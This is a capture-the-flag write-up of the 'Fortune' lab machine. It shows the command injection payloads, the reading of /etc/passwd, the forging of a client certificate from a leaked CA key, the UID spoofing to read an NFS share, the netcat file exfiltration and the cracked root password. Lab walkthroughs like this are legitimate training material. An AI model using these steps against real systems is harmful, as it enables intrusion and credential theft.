Fortune - WriteUp

External Recon

I started with my usual “nmap” scan:

nmap -sC -sV -oN initial

22/tcp  open  ssh        OpenSSH 7.9 (protocol2.0)                                         
80/tcp  open  http       OpenBSD httpd
|_http-server-header: OpenBSD httpd
|_http-title: Fortune
443/tcp open  ssl/https?

Most of the time you’ll have the best chances to find something on the webservices rather than “ssh”.

So let’s take a look at “port 80”:


You can select a fortune-database as it seems and get a fortune-cookie.


To make the writeup easier to follow we’ll explore “port 443” later. In reality I checked “port 443” at this point to get an high level overview before exploring “port 80” further.

To see what’s happening in the background - let’s sent the request to “burp”.


As you can see, with our selection on the site, we filled the db= paramenter. This looks like a good place to inject some stuff. First I tried “SQLi” with “SQLMap” without any success. I’ve learned: Always try different tools as they might yield different results. So I used “wfuzz” with a generic “SQLi” wordlist from “SecList”.

wfuzz -c -z file,/opt/SecLists/Fuzzing/SQLi/Generic-SQLi.txt -d 'db=FUZZ' --hl 16

At first, I thought this was a dead-end too. Also I thought I crashed my “kali” because my terminal wasn’t responding. But my terminal came back to life and I almost cleared my screen to try something else. I noticed that the very last injection was this:


It’s a 50 second sleep! I rushed back to “burp” to verify that with a 3 second sleep. And it worked! We have command execution!

I played a long time with this “feature” to get a “reverse-shell”. But I failed. So I tried getting some type of “ICMP Tunnel” going because it seemed that only “ICMP” was allowed.

But after hours of poking at it, I asked a buddy if I am in a rabbit-hole of some sorts. He just laughed and said, that he made the very same mistake and wasted hours too.

We both forgot about the basics of injection. Both of us did the injections like this:

db=$(ping -c 1

Which is basically a “sub-bash”. Which doesn’t give you the same experience as a “native” bash-process. It won’t return output of commands like ls -la. So what’s the solution to this? Well, append a command to the existing one.

db=; ping -c 1

Easy! Well, when you remember the stuff you’ve done a dozen times by now. However, I wasn’t able so spawn a “reverse-shell” this way. So I spent some time enumerating the filesystem.



I started with id and /etc/passwd to see who’s boss on that box.

db=; id
uid=512(_fortune) gid=512(_fortune) groups=512(_fortune)

db=; cat /etc/passwd

The “nfsuser” sticks out. I expected a couple of normal users, but a service user like this should make you wondering what it does. ;)

Most configs for services are in “/etc” so I started my search there. And sure enough I found the configs for “authpf” there. Why “authpf”? It’s in the path of “nfsuser”. Unfortunately we can’t access them with our current permissions.

So I checked his “/home” directory.

db=; ls -la /home/nfsuser

This was a dead end too. Let’s check “port 443” then.


“Firefox” greets us with a strange “Unknown_CA_error”. Let’s edit our “/etc/hosts” files and use a hostname, but I got the same error. This is odd. What about a different browser then? How about “Chromium”? After disabling a feature of “Chromium” which prevents me from running it as root, I was greeted with a somewhat different message.


So I need a client certificate to view that page. Let’s check the filesystem again.

db=; ls -la /home/bob/ca

drwxr-xr-x  7 bob  bob   512 Oct 29 20:57 .
drwxr-xr-x  5 bob  bob   512 Nov  3 16:29 ..
drwxr-xr-x  2 bob  bob   512 Oct 29 20:44 certs
drwxr-xr-x  2 bob  bob   512 Oct 29 20:37 crl
-rw-r--r--  1 bob  bob   115 Oct 29 20:56 index.txt
-rw-r--r--  1 bob  bob    21 Oct 29 20:56 index.txt.attr
-rw-r--r--  1 bob  bob     0 Oct 29 20:37 index.txt.old
drwxr-xr-x  7 bob  bob   512 Nov  3 15:37 intermediate
drwxr-xr-x  2 bob  bob   512 Oct 29 20:56 newcerts
-rw-r--r--  1 bob  bob  4200 Oct 29 20:55 openssl.cnf
drwx------  2 bob  bob   512 Oct 29 20:41 private
-rw-r--r--  1 bob  bob     5 Oct 29 20:56 serial
-rw-r--r--  1 bob  bob     5 Oct 29 20:37 serial.old

This looks like progress. I downloaded all the certificates from “/home/bob/ca/intermediate” and created a client-certificate with “openssl”:

openssl pkcs12 -export -clcerts -in intermediate.cert.pem -inkey intermediate.key.pem -out client_cert.p12

I imported it into “Chromium” and refreshed the page.


A plain “HTML” site showed up saying:

You will need to use the local authpf service to obtain elevated network access. If you do not already have the appropriate SSH key pair, then you will need to <generate> one and configure your local system appropriately to proceed.

Cool! I clicked the “generate” link and was redirected to this new page.


I created an “id_rsa” file for “ssh” and logged in.


According to the “authpf” documentation there should be a new open port now. To make the discovery a bit quicker I used “masscan”

masscan -p1-65535,U:1-65535 --rate=5000 -e tun0


And then “nmap” to check which port is our new target.

nmap -p 2049,795,111 -sV -sC

111/tcp  open  rpcbind 2 (RPC #100000)
795/tcp  open  mountd  1-3 (RPC #100005)
2049/tcp open  nfs     2-3 (RPC #100003)

The “nfs” service was the most interesting service. Let’s see if there’s an open share for us!



showmount -e

Export list for
/home (everyone)

With showmount I was able to find an open share. To check it you might need to install some nfs-tools to do so. Google is your friend. :)

mkdir fortune
mount -o hard,nolock fortune

cd fortune
ls -la

drwxr-xr-x 5 root    root     512 Nov  3 02:19 .
drwxr-xr-x 3 root    root    4096 Apr 21 13:56 ..
drwxr-xr-x 5 1001    1001  512 Nov  3 21:29 bob
drwxr-x--- 3 1000    1000  512 Nov  6 04:02 charlie
drwxr-xr-x 2 1002    1002  512 Nov  3 03:39 nfsuser

Bummer. We can’t access charlies folder. Or can we? When we check the UID/GUID we just see a number. What would happen when we create a new user with UID/GUID of 1000 on our own system?



$ adduser hacker
$ passwd hacker -> hacker
$ nano /etc/passwd
$ hacker:x:1000:1000::/home/hacker:/bin/sh
$ su hacker
$ cd /fortune/charlie

$ ls
mbox  user.txt

We’ve got user.txt and a mail! So I was able to bypass any Access Controls by mapping the share and creating a new user.

Hi Charlie,

Thanks for setting-up pgadmin4 for me. Seems to work great so far.
BTW: I set the dba password to the same as root. I hope you don’t mind.



To make my life easier I added a propper ssh-key into charlies account. I just created a “ssh-key”, added the “public-key” to his “.ssh/authorized_keys” file and login into “ssh”.

ssh -i .ssh/id_rsa charlie@


Internal Recon

According to Bobs Email. He worked on “pgadmin4” let’s locate the database and see if we can mess with it.

ls -la /var/appserv/pgadmin4

-rw-r-----  1 _pgadmin4  wheel  118784 Nov  3 10:56 pgadmin4.db
-rw-r-----  1 _pgadmin4  wheel     479 Nov  3 10:47 pgadmin4.ini

I downloaded the database with this command on my “kali” box:

nc -l -p 1337 > pgadmin4.db

and on “fortune” I did:

nc -w 3 1337 < pgadmin4.db

I searched for an online database viewer and uploaded the database to explore its contents.

The most interesting tables were: “keys” and “users”





Privilege Escalation

According to the mail, the root password and the password for the database are the same. When I can crack the database password, I know the root password of the box. The question is: How do those hashes get generated?

I checked the “github” repo of “pgadmin4”. After digging around for quite some time I found which implements the password encryption part of pgadmin4.

In theory you are supposed to write a decryption script now. But while doing some research I found a halfway finished script online on pastebin. At this point I was working in this machine for about three days and I couldn’t be bothered to go through the coding process, knowing that it wouldn’t prevent my victory only delay it. So I grabbed the script and added the last bits and bobs.

Which was importing the crypto-lib from “github” and changing the propper values from the database.

You can find the finished script here:


Root Flag

Running the script, decrypted the database password to R3us3-0f-a-P4ssw0rdl1k3th1s?_B4D.ID3A!

Elevating my privilege with su - and the above password gave me access to root.

fortune$ su -
fortune# id                                                                                                                                           
uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)                                                  

Another fun box down! :)
Also I got a new shiny badge for it!



Previous Post Next Post Home
x41 avatar
IT-Security consultant by day. InfoSec enthusiast and Dungeon-Master at night.